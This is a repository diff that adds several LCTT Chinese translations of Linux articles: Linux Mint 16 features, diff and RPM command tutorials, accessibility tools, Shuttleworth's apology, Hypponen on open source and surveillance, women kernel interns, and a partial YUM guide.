这一版本是项目组努力工作6个月的辛勤果实它为我们带来了2种独特“口味儿”**肉桂Cinnamon**及其**伴侣MATE**,但具体新功能都有哪些呢?
根据官方发布的声明下面列出了Linux Mint 16 Petra Cinnamon版本的新功能
- Cinnamon升级至2.0版
- 全新的登录界面
- 支持USB记忆棒
- 系统性能提升
- 全新的软件管理器
- 系统更加完善
- UI美工更加漂亮
- 主要组件得到优化
### Cinnamon 2.0 ###
肉桂2.0带来诸多改进修复了多个bug加入许多新功能。首先关闭窗口、切换工作台等日常操作加入了声音效果同时用户可以独立于主音量之外单独对这些声音进行设置另外2.0版还加入了一个新面板大大方便了session会话和账户关联任务等操作。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/thumb_cinnamon_account_details.png)
###账户细节###
系统管理员可以通过“用户与组”配置工具,对用户和组进行管理,你还可以使用新的“账户细节”配置界面对密码等信息进行修改。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/thumb_cinnamon_user_applet.png)
###软件管理器###
“快”这是用来描述新版Linux Mint软件管理器最合适的字眼。每个人都欣喜地看到如今的软件管理器不但比以前占用更少的内存而且支持多个截图预览 **搜索**更加迅捷,**启动**更加快速。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/software_manager1.png)
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/software_manager2-e1384689990357.png)
###系统更加完善###
你会在你的Linux Mint上使用“终端”来完成日常工作吗当然作为**程序猿(媛)**这样才显得很高端大气上档次。这次的Linux Mint 16 Petra 肉桂版将为你带来比以往更好的终端体验。举个栗子新的终端使用“ll”命令作为“ls -al”的别名命令如此一来有了省时又省力的“ll”谁还会去敲“ls -al”译注难道ll还不是业界标准么
除了程序猿Linux Mint 16 Petra 肉桂版同样还惦记着我们广大亲爱的**游戏玩家**肉桂君现在能够更好的支持Steam不仅如此肉桂君还默认将steam加入了软件容器和软件管理器的特色板块
**宅男** 们可能比较关心,**隐私策略**做的怎么样呢Linux Mint 16为广大宅男同胞们提供了额外的隐私/安全搜索引擎,机油再也不用担心我找不到苍老师~
更好的帮助支持、更安全的内核更新、更快的启动速度和登录速度…… 哎对了,果粉们怎么办?果粉?是的,这里说的就是各位**苹果**的忠NaoCan粉丝们。虽然我们是Linuxer但是分享与关爱是我们Linuxer与生俱来的传统美德。因此Linux Mint 16现已加入对iOS设备的支持众位果粉这下高兴了吧。不客气~
--------------------------------------------------------------------------------
via: http://www.unixmen.com/linux-mint-16-petra-cinnamon-rc-released/
译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://blog.linuxmint.com/?p=2477

View File

@ -0,0 +1,174 @@
举例说明Linux diff 命令
================================================================================
![](http://linoxide.com/wp-content/uploads/2013/11/linux-diff-command.png)
在比较文件的时候通常会用基于GUI的软件。很少有人真正会为了这个目的使用命令行工具。虽然说使用命令行来比较文件/目录并不像一件小事儿那样容易但是如果你是一个Linux使用者那么我想你应该知道如何通过命令行比较文件因为一旦使用了它你会认为它绝对是一个快速的方法。
在本篇中我们将通过一些实例来学习如何使用diff命令。
### Linux diff 命令 ###
让我们通过一些实际的例子理解diff命令。
假设我们有两个文件(file1 和 file2)
$ cat file1
Hi,
Hello,
How are you?
I am fine,
Thank you.
$ cat file2
Hello,
Hi,
How are you?
I am fine.
你可以看见两个文件有些小的不同。现在让我们看看diff命令如何找出两者的不同的。
像这样运行diff命令:
$ diff file1 file2
1d0
< Hi,
2a2
> Hi,
4,5c4
< I am fine,
< Thank you.
---
> I am fine.
你可以看见diff后面跟了两个文件的名字作为命令行的参数并且它在输出中生成了差异比较。输出并不容易理解。理由是这是被计算机使用的而不是为了人类。尽管如此让我们一步步解码输出
**注意** 在下面的文本中file1和file2将被当作旧文件和新文件。
1d0
< Hi,
这里1d0这一行意味着旧文件的第一行应该被删除(d)以使两个文件的第一行同步。旧文件中需要被删除的行以'<'标记。
2a2
> Hi,
这里2a2行意味着新文件中的第二行应该加到旧文件的第二行后。要添加的行显示在输出的下一行用'>'标记。
4,5c4
< I am fine,
< Thank you.
---
> I am fine.
这里4,5c4这一行意味着在旧文件中的4到5行现在已被改变并且需要用新文件中的第4行代替。添加和删除的行分别用'>'和'<'表示。
那么,来总结一下,
- 首先diff命令的第一个参数被视为旧文件而第二个参数被视为新文件。
- 像1d0、2a2、4,5c4这种表达式可以用语法解码为 **[旧文件的行号或者行的范围][行为][新文件的行号或者行的范围]**。这里的'行为'可以是追加,删除或者改变替换。
- '<'代表删除的行,而'>'代表添加的行。
除了文件外diff命令还可以比较两个目录。让我们通过一个例子学习。
这里是'new_dir'目录包含的内容:
$ ls new_dir/
file file2 frnd frnd1.cpp log1.txt log3.txt log5.txt
file1 file name with spaces frnd1 frnd.cpp log2.txt log4.txt
这是'orig_dir'目录含有的内容:(译注原文为and here are the contents of a directory named old_dir ,其中'old_dir'应为笔误。)
$ ls orig_dir/
file1 file name with spaces frnd1 frnd.cpp log2.txt log4.txt test
file2 frnd frnd1.cpp log1.txt log3.txt log5.txt
下面是diff命令执行后的输出
$ diff new_dir/ orig_dir/
Only in new_dir/: file
Only in orig_dir/: test
你可以看到当diff命令被用来比较这两个目录时很容易就会显示两个文件中缺失的文件。
下面是一些在命令行下常用的选项:
### 1. 用 -i 忽略大小写 ###
如果两个文件含有相同的文本但是大小写不同diff命令仍会默认报告它不同。
比如:
$ cat file1
HI
$ cat file2
hi
$ diff file1 file2
1c1
< HI
---
> hi
你可以看见diff命令在输出中报告了大小写不同。
要去除这个默认行为,使用-i选项。
以下是个例子:
$ diff -i file1 file2
$
这样你可以看到没有生成输出,这是当两个文件相同时的默认行为。
### 2. 用 -s 选项报告两个文件相同 ###
在例子1的后面我们看到如果文件相同diff不会生成报告。虽然这个默认行为不错但是它仍可能会造成很大疑惑特别对于新手而言。因此如果你像样diff命令明确地报告两个文件不同那么就使用-s命令选项。
来举个例子:
$ diff -is file1 file2
Files file1 and file2 are identical
你可以看到我加了-s选项在后面的例子中这次diff命令会明确地报告两个文件是相同的。
### 3. 使用 -b 忽略空格 ###
另外一个常用的是diff报告文件存在不同数量的空格。
举例说明:
$ cat file1
Hi, how are you?
$ cat file2
Hi, how are you?
观察这两个文件唯一的不同是file2中'are'和'you'之间额外的空格。现在当使用diff命令比较两个文件时输出如下
$ diff file1 file2
1c1
< Hi, how are you?
---
> Hi, how are you?
因此你可以看到diff命令报告了不同。但是如果你想要忽略这些空格使用 -b 选项。
$ diff -b file1 file2
$
这样你可以看到由于-b选项diff命令报告这两个文件是相同的。
diff命令还提供了更多的命令行选项。阅读[man page][1]来获取完整的列表。
--------------------------------------------------------------------------------
via: http://linoxide.com/linux-command/linux-diff-command-examples/
译者:[geekpi](https://github.com/geekpi) 校对:[Caroline](https://github.com/carolinewuyan)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://unixhelp.ed.ac.uk/CGI/man-cgi?diff

View File

@ -0,0 +1,40 @@
让Linux更加可用Accessibility
================================================================================
一个令人吃惊的事实是至少十亿人或多或少有着某种程度的残疾。就是说全球大约15%的人在生理上、感知上、心智上会有缺陷导致他们难以活动、观看、收听以及学习。世界上3.5亿人有不同程度的视觉障碍。计算机技术发展地越快,这些人就越会被疏远,除非计算机软件的开发可以满足他们的需求。
可用性是表示一个产品、设备、服务或者环境在不考虑具体细节的情况下能被多少人使用的程度。可用性可以被看作接触和利用一个系统或者实体的能力。可用性至关重要,社会和谐不是一个慈善行动,而是人类基本的权利。
我们见证了Linux软件和发行版本在使每个人融入社会方面做的突出贡献。举个例子来说GNOME Accessibility Project 为图形界面用户开发了开源的可用性解决方案。Ubuntu有一个可用性团队致力于使Ubuntu能被更广范围的人使用。不得不提的是Vinux Project一个基于Ubuntu的发行版本针对失明和视力有障碍的用户进行了优化。
也有很多单独的应用软件提供了不同的可用性功能。这篇文章试图找出一些顶尖的开源软件,它们能帮助人们充分利用计算机技术,不论他们的生理和知觉功能如何。
让我们了解一下手边的8个通用辅助工具。我们为每个应用编写了它字节的入口页面完整地、深入地分析了它们的功能包含截屏和相关资源链接。
### 通用辅助 ###
- [Easystroke][1] 笔画识别软件
- [Simon][2] 灵活的语音识别软件
- [Orca Screen Reader][3] 可编程的屏幕阅读器
- [Julius][4] Two-pass策略的大词汇持续语音识别引擎
- [Florence Virtual Keyboard][5] 扩展的可伸缩虚拟键盘
- [Caribou][6] 可配置的带有扫描模式的屏幕键盘
- [Dasher][7] 图形化的预测文本输入系统
- [xvkbd][8] 虚拟(图形)键盘系统
--------------------------------------------------------------------------------
via: http://www.linuxlinks.com/article/20131109042823957/UniversalAccess.html
译者:[boredivan](https://github.com/boredivan) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://sourceforge.net/apps/trac/easystroke/
[2]:http://simon-listens.org/
[3]:https://wiki.gnome.org/Orca
[4]:http://julius.sourceforge.jp/
[5]:http://florence.sourceforge.net/english.html
[6]:https://wiki.gnome.org/Caribou
[7]:http://www.inference.phy.cam.ac.uk/dasher/
[8]:http://homepage3.nifty.com/tsato/xvkbd/

View File

@ -0,0 +1,33 @@
Mark Shuttleworth为“茶派”及其他错误认错
================================================================================
**Canonical公司的创始人Mark Shuttleworth他澄清了他的[“茶派”论调][4],为他的言论而表示歉意。**
![](http://i1-news.softpedia-static.com/images/news2/Mark-Shuttleworth-Regrets-the-quot-Tea-Party-quot-Remarks-and-Other-Canonical-Mistakes-398819-2.jpg)
我们并不是每天都能看到Mark Shuttleworth连续道歉两次很有可能这是第一次。
[第一个道歉][1]是对收到了Canonical公司法律团队邮件的fixubuntu.com的站长Micah F. Lee他写了一篇广泛传播的关于这些问题的博客并且在许多论坛和网站引起了热议。
Mark Shuttleworth首先在Google+向他道歉,接着他在其个人博客上写了正式的道歉文章,他的博客通常都是用于宣布重要事情的地方。
这个道歉之后,他又花了一些时间说,他为带来了很多抨击的[“茶派”][2]的说法而后悔,这个事情甚至比他原来认为的还要糟糕。
“另一方面从个人角度看我自己犯了一个错误当我使用标签“开源茶派”来指那些对Canonical做的事情的非技术评论家。这是不对的并且的确可能冒犯了真的茶派注意这里以及那些非技术批评家再看这儿。”
“这并不是说我建议我不需要这样技术反馈而是一些假定我拒绝了包括技术反馈在内的所有反馈。我没有——我在说对软件的评价并不是软件本身的中心而是开发软件的人需求的综合或者是某个自由软件协议下发布或者是公司的策略、或者是公司后面的国家”Mark Shuttleworth[说道][3]。
希望结束在这个事件上的所有的讨论人们最终将能够接受引发了这次讨论的Mir。
--------------------------------------------------------------------------------
via: http://news.softpedia.com/news/Mark-Shuttleworth-Regrets-the-quot-Tea-Party-quot-Remarks-and-Other-Canonical-Mistakes-398819.shtml
译者:[Vito](https://github.com/vito-L) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://news.softpedia.com/news/Mark-Shuttleworth-Apologizes-for-the-Trademark-Infringement-Letter-Sent-to-Fixubuntu-com-398583.shtml
[2]:http://news.softpedia.com/news/Mark-Shuttleworth-Says-That-Mir-Opponents-Have-Formed-the-Open-Source-Tea-Party-392793.shtml
[3]:http://www.markshuttleworth.com/archives/1299
[4]:http://linux.cn/article-2283-1.html

View File

@ -0,0 +1,35 @@
米科·哈普宁:开源软件将使世界更安全
================================================================================
安全专家米科·哈普宁(Mikko Hypponen)于上周在爱丁堡举行的[LinuxCon and CloudOpen Europe][1]会议上的主题演讲中说:“开源软件可以作为一个方法来打击全球监视无辜居民的行为。”
![](http://www.linux.com/images/stories/41373/Mikko-Hypponen-3.jpg)
*米科·哈普宁芬兰F-Secure的首席研究员在爱丁堡举行的LinuxCon and CloudOpen Europe 2013会议上讲话。*
计算和全球网络增加的进步使得存储和传输数据变得便宜且简单。哈普宁说这创造了无比的连通性、进步和创新但是同样使得大规模的数据被访问到就像NSA的棱镜项目揭示的那样这事件随着前美国政府员工爱德华·斯诺登(Edward Snowden)泄漏的一系列顶级机密文件而公开。
哈普宁芬兰F-Secure的首席研究员说“前几年我们已经意识到数据是廉价的。我们永远不必再删除任何数据。这促成了很多伟大的事情但同样也引发了大规模地毯式的监视。”
哈普宁说:“这些监视会访问我们的个人数据,包括电话记录、地理位置、电子邮件和搜索引擎请求,有些可能是被授权的。”
他说:“我相信一些监控是好的。如果有一项研究来找出校园枪击者或者毒枭或者恐怖组织成员等等,我们应该已经有技术手段这么做,但是我们首先必须持有怀疑。”
哈普宁说:“但是收集通信和每个人的个人数据不仅是对隐私的侵犯,还是对民主的威胁。”
他说“即使你如今对政府的行为认可但是我们不知道政府会在今后的20年怎么样。如果他们有你20年的搜索数据他们会找出一些非法的或者令人尴尬的理由来扭曲你的手。”
哈普宁说“虽然泄漏事件使得一些IT专家质疑他们的数据存储的安全性和经由美国服务商的的路由但绕开这些公司和服务不能解决问题。同样不能每个国家都花费和金钱来建造他们自己的替代品。”
哈普宁说:“要跨越国际边际地工作,开发者应该团结起来建造一个安全和可靠的软件和服务来防止后门篡改和用户隐私。”
他说:“我建议开源软件对这个问题提供一个解决方案。那么国家就不必独自做这件事。这将会变得安全、开放和免费。”
--------------------------------------------------------------------------------
via: http://www.linux.com/news/featured-blogs/200-libby-clark/745585-mikko-hypponen-open-source-software-will-make-the-world-more-secure
译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://events.linuxfoundation.org/events/linuxcon-europe

View File

@ -0,0 +1,106 @@
Linux 下用来查询安装包信息的RPM选项
================================================================================
RPM是RedHat的包管理器用来安装、卸载、升级和查询基于RedHat Linux的安装包。RHEL和基于它的系统使用rpm命令来完成这些功能。以下是一些例子来演示rpm的查询功能和展示了用不同的方法来查询rpm数据库和还原配置文件。
我在示例命令中使用SSH包来做说明。
## 查询RPM数据库和包 ###
###1、 在整个RPM数据库中查询使用下面的命令
# rpm -qa
plymouth-0.8.3-27.el6.x86_64
pciutils-libs-3.1.10-2.el6.i686
netcf-libs-0.1.9-3.el6.x86_64
..
...
..
Output Truncated
###2、 你可以通过grep命令来确定上面的例子中有哪些SSH包已经安装
# rpm -qa |grep ssh
libssh2-1.4.2-1.el6.x86_64
openssh-askpass-5.3p1-84.1.el6.x86_64
libssh2-1.4.2-1.el6.i686
openssh-server-5.3p1-84.1.el6.x86_64
openssh-clients-5.3p1-84.1.el6.x86_64
openssh-5.3p1-84.1.el6.x86_64
输出显示了一些关于SSH的包但是你仍需确定哪个包真正安装了SSH。为了更近一步请看下面的示例。
###3、 检查已安装的SSH包 a) 通过sshd守护进程 b) 通过它的配置文件
# rpm -qf /etc/init.d/sshd
openssh-server-5.3p1-84.1.el6.x86_64
# rpm -qf /etc/ssh/sshd_config
openssh-server-5.3p1-84.1.el6.x86_64
如你所见ssh是通过openssh-server-5.3p1-84.1.el6.x86_64包安装的你可以在守护进程或者配置文件中使用rpm -qf命令查询ssh包所包含的任一文件来查询。两者都会输出从那个软件包安装的。
###4、 现在你有了包名你可能想要了解更多并想要知道包中包含了哪些不同的文件。这种情况下使用rpm -ql命令
# rpm -ql openssh-server-5.3p1-84.1.el6.x86_64
/etc/pam.d/ssh-keycat
/etc/pam.d/sshd
/etc/rc.d/init.d/sshd
/etc/ssh/sshd_config
/etc/sysconfig/sshd
/usr/libexec/openssh/sftp-server
/usr/libexec/openssh/ssh-keycat
/usr/sbin/.sshd.hmac
/usr/sbin/sshd
/usr/share/doc/openssh-server-5.3p1
/usr/share/doc/openssh-server-5.3p1/HOWTO.ssh-keycat
/usr/share/man/man5/moduli.5.gz
/usr/share/man/man5/sshd_config.5.gz
/usr/share/man/man8/sftp-server.8.gz
/usr/share/man/man8/sshd.8.gz
/var/empty/sshd
上面的输出显示了所有该包在系统中安装的文件。现在让我们更进一步,我们只想要看到该包提供的配置文件和文档。
###5、 只列出其中的配置文件使用rpm -qc命令
# rpm -qc openssh-server-5.3p1-84.1.el6.x86_64
/etc/pam.d/ssh-keycat
/etc/pam.d/sshd
/etc/ssh/sshd_config
/etc/sysconfig/sshd
###6、 只列出其中的帮助文档使用rpm -qd命令
# rpm -qd openssh-server-5.3p1-84.1.el6.x86_64
/usr/share/doc/openssh-server-5.3p1/HOWTO.ssh-keycat
/usr/share/man/man5/moduli.5.gz
/usr/share/man/man5/sshd_config.5.gz
/usr/share/man/man8/sftp-server.8.gz
/usr/share/man/man8/sshd.8.gz
考虑一种情况,你想要配置一个服务,但是你不知道哪里找到配置文件。举例来说,如上面的例子:使用**rpm -qf rpm -qf /etc/init.d/sshd**来找出 **/etc/ssh/sshd_config**这个文件源于哪个包。这应该会给你显示**openssh-server-5.3p1-84.1.el6.x86_64**包。使用**rpm -ql openssh-server-5.3p1-84.1.el6.x86_64**来显示包中所含的所有文件。如你所见,许多文件名显示了出来,但是输出并不很有用。
现在使用**rpm -qc openssh-server-5.3p1-84.1.el6.x86_64** 来只显示这个包的配置文件。这只会显示4个文件并给出了[/etc/ssh/sshd_config file][1]的绝对路径,可以用来开始配置服务。
###7、 从PRM包还原配置文件而不重新安装包。
如果由于一些原因文件损坏或者从系统中删除了,你可以以**rpm -qf**开头来找出文件存在于哪个包。接下来使用**rpm2cpio | cpio -idmv**来从包中解压出文件。用ssh的例子。
假设**/etc/ssh/sshd_config**文件已经删除并且你不希望重装ssh按以下步骤来还原文件。
* 使用rpm -qf /etc/init.d/sshd 这个命令会显示文件来自于openssh-server-5.3p1-84.1.el6.x86_64包。
* 从它的源中下载Openssh的rpm包。
* 复制openssh-server-5.3p1-84.1.el6.x86_64包到/tmp目录或者其他任何你选择的目录。
* 使用rpm2cpio |cpio -idmv解压包。
上面步骤中你使用的命令会在/tmp下面创建一个子目录。你现在可以复制到它的原始目录。
--------------------------------------------------------------------------------
via: http://linoxide.com/linux-command/rpm-command-query/
译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.linoxide.com/how-tos/disable-ssh-direct-login/

View File

@ -0,0 +1,106 @@
Linux编程女神计划招募新的内核级MM实习生
=====
作为[FOSS的Linux编程女神计划Outreach Program for Women][1]的一部分这个夏季在Linux基金会工作的实习生们背景不同水平也高低不等但是她们至少有一件事情是相同的除去性别之外就是她们可以在自己的履历中添加一项“Linux内核黑客”。译注Outreach Program for WomenOPW此处译作“Linux编程女神计划”带有调侃意味Just joke没有恶意。
![](http://www.linux.com/images/stories/41373/OPW-kernel-contributions-9.jpg)
*针对女性的招募项目在对Linux内核3.12的贡献已经名列前茅。来源LWN.net*
在Linux基金会资助的第一批每人5000美元酬金的申请人中Lisa Nguyen, Xenia Ragiadakou, Elena Ufimtseva, Laura Vasilescu 和Tulin Izer是41申请者中的7名女性女性获得者。她们与Intel、Oracle和Citrix的内核开发者一起全职工作了三个月处理包括x86启动进程和XNUMA拓扑等项目。她们还利用500美元的旅行奖学金出席了在新奥尔良或者爱丁堡举行的LinuxCon会议并做了演讲。
“我要说能有我这样的机会并不多哦在LinuxCon北美会议上做志愿者在LinuxCon北美会议上发表演讲而且与Linux Torvalds交流了三天”Nguyen说她是一个Linux内核实习生与Orcale的Konrad Rzeszutek Wilk一起解决Xen block 驱动问题。
除了学习如何创建和提交内核补丁这些实习生们通过结交新朋友和同事克服了她们的恐惧心理为Linux内核的发展作出了显著的贡献。
“我不再害怕碰内核代码了”Izer这样说道她和来自Intel的Peter P. Waskiewicz Jr.一起工作解决x86的启动进程并行化问题。“这是我第一次对开源项目作出贡献我以此为自豪。我将接着做下去”。
###内核贡献着排行榜
据[LWN 8月内核报告][2]作为一个组织OPW被列为对Linux3.11内核的主要贡献者之一提交了230个变更总体位于第13位。其中实习生Xenia Ragiadakou给3.11内核贡献了100个补丁在最活跃的开发者中位列前10
“我的主要工作就是添加追踪事件然后写trace-cmd插件以便于人们阅读的格式分析这些痕迹以方便xhci(驱动)找出问题。” ”Ragiadakou说她和Intel的内核开发者Sarah Sharp一起做这项工作。“我学习了如何使用git如何使用静态代码分析工具以及如何发送补丁如何查看debug日志usb子系统是如何组成的xhci驱动又是如何实现的。”
据[LWN 10月分析报告][3]在内核3.12上OPW再次排在了贡献最大的团队或公司之中这次是排行第11行有19649行代码的改动。那代表了在过去最新的一次开发周期中接近2.7%的改动量。
在她们的实习计划在9月份结束时她们中的大多数仍然持续做该项目并打算继续做下去。
“我认为成为一个内核开发者是一件非常酷的事情将来我也要继续做这件事情”Vasilescu说她和Intel的Carolyn Wyborny以及 Anjali Singha一起解决igb驱动的ethtool属性。
“我甚至需要学习如何才能停下来。有时候好吧是常常我无法停下来”Ufimtseva说她和Citrix的Stefano Stabellini、Dario Fargiolli、George Dunlap一起工作以解决针对与工作在xen上的并行虚拟机的vNUMA拓扑问题。“我一直努力最终我贡献的补丁被提交到了高质量代码库里这真的是很鼓舞人心哇
下一轮Linux内核实习生的截止日期是11月。申请者应有c或c++和布尔代数的基本知识对Linux/Unix操作系统有一定的经验了解Git更好不过不是硬性要求。想了解有关项目以及如何申请的更详细信息可浏览[ Kernel Newbies上的OPW 页面][4]。
###Lisa Nguyen
![](http://www.linux.com/images/stories/41373/lisa-nguyen-kernel-intern-2.jpg)
**Lisa Nguyen和Oracle的Konrad Rzeszutek一起解决Xen的时钟驱动问题**
在我成为OPW实习生之前我已经获得了多个大学学位如计算机科学数字分析和信息安全等。我在过去的两年中持续地使用Linux我还在Linux社区中充当多种角色例如项目管理着man页的作者LinuxCon会议的协调着以及内核贡献着。
**你为什么申请同OPW一起为Linux内核工作**
我想要一个挑战想要跳离自己的小窝。我要给自己一个软件开发的机会因为过去我一直面临自信心问题。一天我决定要寻求一个有关Linux的职业来而不是数字分析工作。当我看到OPW项目出现在Linux基金会在Google+上的博文时,我觉得这是一个再合适不过的机会咯,于是,我想“我为什么不去尝试一下呢?”
###Elena Ufimtseva
![](http://www.linux.com/images/stories/41373/elena-ufimtseva-kernel-intern.jpg)
**Elena Ufimtseva与来自Citrix的Stefano Stabellini, Dario Fargiolli, George Dunlap的一起去解决xen虚拟机中的并行虚拟客户端的vNUMAde的拓扑问题**
我作为一名Linux系统管理员已经有想当长的一段时间了而且成为了许多项目的一分子。我从俄罗斯联邦的St.-Petersburg大学获得了我的计算机科学硕士学位。
**你为什么申请同OPW一起为Linux内核工作**
我觉得我想在底层开发软件例如系统软件而不是用java。我有一种感觉我能应对复杂的问题并解决他们。我经常阅读最新的Linux新闻我觉得最吸引我注意的是Greg在一年前在Google做的“关于Linux内核开发者社区以及补丁递交程序”等的报告。我觉得“哇这好好玩哇
### Laura Vasilescu ###
![](http://www.linux.com/images/stories/41373/laura-vasilescu-kernel-intern-2.jpg)
**Laura Vasilescu 和 Carolyn Wyborny以及Anjali Singhai共同去解决igb驱动的ethtool属性。**
我认为自己就是一个极客,我对改善教育系统(尤其是罗马尼亚的)有着非常浓厚的兴趣。作为一名学生,我志愿做我所在大学的教师助理,还是罗马尼亚开源教育协会的成员。我的技术专长是网络,操作系统和底层编程语言。
**你为什么申请同OPW一起为Linux内核工作**
我觉得成为一名内核贡献着是一件非常酷的事情,我要做一下这样的事情。
### Tulin Izer ###
![](http://www.linux.com/images/stories/41373/Tulin-Izer-kernel-intern-2.jpg)
**Tulin Izer和来自Intel的Peter Waskiewicz一起去解决x86系统的启动进成并行化问题。**
我来自于土耳其。我是一名来自于伊斯坦布尔的Galatasaray大学的计算机工程专业的学生。今年我大四。
**为什么你申请同OPW一起为Linux内核工作**
我对操作系统以及使用C语言进行编程非常感兴趣但是我对内核开发没有任何经验但是我觉的这是一个起步的好地方。
### Xenia Ragiadakou ###
目前,我在克利特大学学习计算机科学。过去,我已经修完了几门课程,如经济学,东欧研究史等。我决定另换一个领域的原因是我感到厌烦了。我不知道这个想法是否明智。但是我意识到我需要的是更加具有创造性、富有变化以及非常实用的东西。所以,我决定进入计算机科学学院学习。现在,我的内心重新回复平静:我觉得编程是一件更加适合我的事情。这就像玩游戏一样,我非常喜欢编程的乐趣。
**为什么你申请同OPW一起为Linux内核工作**
想加入开源项目的想法已经在我的脑海中存在很久了但我一直认为我还没有足够的能力加入开源项目中去。这次有三个因素促使我去申请。1OPW针对女性这一目标是我感到更加舒坦。2有Linux核心方面的项目。3被引入Linux内核的开发过程非常平顺会在应用开发的早期加入进去。
作者:[Libby Clark][5]
![img](http://www.linux.com/component/ninjaboard/avatar/41373/catid/200-libby-clark/thumbnail/large/cache/1331753338)
--------------------------------------------------------------------------------
via: http://www.linux.com/news/featured-blogs/200-libby-clark/746687-outreach-program-for-women-seeks-new-linux-kernel-interns/
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[jasmiepeng](https://github.com/jasminepeng),[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:https://wiki.gnome.org/OutreachProgramForWomen
[2]:http://lwn.net/Articles/563977/
[3]:http://lwn.net/Articles/570483/
[4]:http://kernelnewbies.org/OPWIntro
[5]:http://www.linux.com/community/forums/person/41373/catid/200-libby-clark

View File

@ -1,18 +1,17 @@
Package Management Using YUM In Red Hat Linux
================================================================================
在红帽Linux中使用YUM包管理器
===
![](http://linoxide.com/wp-content/uploads/2013/11/yum-package-install.png)
**Yum** is a utility provided in RHEL based systems to install,remove and search packages. It can do lot more than just installing and removing and thats what I will demonstrate in this article.
**YUM**是RHEL系统中提供的一个安装卸载和搜索软件包的工具。它能做的不仅仅是安装、卸载软件包它能做的还有更多下面我们将在本文中为你展示。
Yum installs the package dependencies automatically, for example yum install httpd will install https apache server and its required dependencies automatically. Something that is not that easy while installing through rpm. with rpm you have to download all the required dependencies and then install accordingly.
YUM可以自动安装软件包的依赖包例如当你使用yum安装httpd时它还会自动安装https apache server以及它依赖的软件包。通过rpm软件包安装时就没有这么方便咯译注就是不会自动处理软件包依赖问题咯你必须下载所有它依赖的软件包然后依序安装它们。
The yum utility fetches the package information from a hosted repository (usually by the OS vendor). A repository is basically a collection of rpms that are supposed to work on a particular architecture. For example there would be a separate repository for 32 and 64 bit systems, and same goes with RHEL Version 5 and Version 6. You can host your local repository and configure yum to search,install packages from the local repository. In the following examples I will show you some other stuff we can do with yum rather than install and remove but for the sake of understanding I will use httpd package for exempts on my Amazon EC2 RHEL 6.4 server.
yum工具从远端服务器上的软件仓库通常由OS提供商提供获取软件包的信息。一个软件仓库是能在特定架构上运行的一系列rpm软件包的集合。例如对于32位和64位系统各有一个软件仓库还有针对RHEL5以及RHEL6的软件仓库。你也可以建立一个本地仓库配置你的yum让其从你的本地仓库里搜索安装软件包。在接下来的例子中我将向你展示除了安装和卸载软件yum还可以做的其它事情。为方便理解我将在我的Amazon EC2 RHEL 6.4服务器上使用httpd软件包为例。
### Search package from repository ###
###从软件仓库里搜索软件包
# yum search httpd
# yum search httpd
Loaded plugins: amazon-id, rhui-lb, security
Loaded plugins: amazon-id, rhui-lb, security
=============================================== N/S Matched: httpd ==========
httpd.x86_64 : Apache HTTP Server
httpd-devel.i686 : Development interfaces for the Apache HTTP server
@ -22,43 +21,43 @@ The yum utility fetches the package information from a hosted repository (usuall
mod_dav_svn.x86_64 : Apache httpd module for Subversion server
mod_dnssd.x86_64 : An Apache HTTPD module which adds Zeroconf support
For a more detailed output use the below command:
想获得详细的输出信息,可以使用下面的命令:
# yum provides httpd
# yum provides httpd
Loaded plugins: amazon-id, rhui-lb, security
Loaded plugins: amazon-id, rhui-lb, security
httpd-2.2.15-26.el6.x86_64 : Apache HTTP Server
Repo : rhui-REGION-rhel-server-releases
Matched from:
**yum provides */httpd** Searches in yum packages to find the package that contains a httpd.
### Provide a list of all Package Groups. ###
**yum provides httpd**在软件仓库里搜索含有httpd的软件包。
# yum grouplist
###提供所有软件组列表
The above command will show you the installed and available package group. You can install an individual package group with group install option. For example we will install package group PHP Support. This package group contains the required php packages.
# yum grouplist
# yum groupinstall PHP Support
以上命令将为你显示已经安装的以及可用的软件组。你可以使用软件组安装选项来安装其中一个软件组。例如我们将安装一个PHP Support的软件组。这个软件组内包含需要的PHP软件包。
# yum groupinstall PHP Support
Loaded plugins: amazon-id, downloadonly, rhui-lb, security
Setting up Group Process
Warning: Group Support does not exist.
Resolving Dependencies
> Running transaction check
> Package php.x86_64 0:5.3.3-23.el6_4 will be installed
> Processing Dependency: php-common(x86-64) = 5.3.3-23.el6_4 for package: php-5.3.3-23.el6_4.x86_64
> Processing Dependency: php-cli(x86-64) = 5.3.3-23.el6_4 for package: php-5.3.3-23.el6_4.x86_64
> Package php-gd.x86_64 0:5.3.3-23.el6_4 will be installed
> Processing Dependency: libXpm.so.4()(64bit) for package: php-gd-5.3.3-23.el6_4.x86_64
> Package php-pdo.x86_64 0:5.3.3-23.el6_4 will be installed
> Package php-pear.noarch 1:1.9.4-4.el6 will be installed
> Package php-xml.x86_64 0:5.3.3-23.el6_4 will be installed
> Running transaction check
> Package libXpm.x86_64 0:3.5.10-2.el6 will be installed
> Package php-cli.x86_64 0:5.3.3-23.el6_4 will be installed
> Package php-common.x86_64 0:5.3.3-23.el6_4 will be installed
> Finished Dependency Resolution
-> Running transaction check
--> Package php.x86_64 0:5.3.3-23.el6_4 will be installed
